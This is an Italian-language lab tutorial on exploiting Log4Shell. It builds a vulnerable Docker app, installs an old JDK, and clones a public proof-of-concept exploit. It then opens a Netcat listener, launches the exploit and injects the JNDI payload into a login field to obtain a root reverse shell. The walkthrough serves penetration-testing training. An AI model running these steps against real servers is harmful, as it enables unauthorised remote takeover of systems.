tags: Log4Shell Log4Shell_PoC Log4j Log4j_Exploitation


Creazione Server Vittima (Facoltativo)

Per prima cosa installiamoci l’app vulnerabile su una macchina vittima:

sudo apt-get update
 
sudo apt-get install docker.io
 
git clone https://github.com/cyberxml/log4j-poc
 
cd log4j-poc
 
docker build -t log4j-shell-poc .
 
#Infine 
 
docker run --network host log4j-shell-poc
 

Ora vai alla pagina del web server vulnerabile per verificare se funziona:

Per verificare se un parametro è vulnerabile vai alla pagina Identificazione

Attacco al Server

Scarica una versione jdk adatta all’exploit

Ora cerca questa versione di Java ” jdk-8u202-linux-x64.tar.gz” perchè serve all’exploit per funzionare. La puoi trovare al seguente indirizzo:

https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz

Oppure:

Sull’Oracle Java Archive (Ufficiale, richiede account)

Questo è il repository ufficiale di Oracle. Il download è gratuito ma, da aprile 2019, richiede un account Oracle per accedere ai file. Se hai già un account, puoi scaricarlo dalla pagina “Java SE 8 Archive Downloads”.

Una volta scaricato il file .tar.gz estrai il contenuto con il seguente comando:

tar -xf jdk-8u202-linux-x64.tar.gz

E sposta la cartella jdk1.8.0_202 in /usr/bin:

sudo mv jdk1.8.0_202 /usr/bin/

Una volta configurata questa parte possiamo passare al vero e proprio exploit.

Exploit

Scarica l’exploit con il seguente comando:

git clone https://github.com/kozmer/log4j-shell-poc
 
cd log4j-shell-poc
 

Dalla cartella dell’exploit modifica il file poc.py sostituendo tutti i percorsi jdk1.8.0_20/bin/javac con /usr/bin/jdk1.8.0_202/bin/javac per far si che l’exploit riesca ad utilizzare la versone jdk che abbiamo scaricato nella fase precedente, il risultato deve essere come nei seguenti screenshots:

Ora salva e mettiti in ascolto con Netcat:

nc -lvnp 9001

In un altro terminale lancia l’exploit con:

python3 poc.py --userip 10.10.1.13 --webport 8000 --lport 9001

Copia il payload vicino a Send Me e copialo nella sezione username della applicazione:

Inserisci quel payload nella sezione username:

Una volta inviato ti dovrebbe apparire una reverse shell di root nella nostra shell in ascolto con Netcat: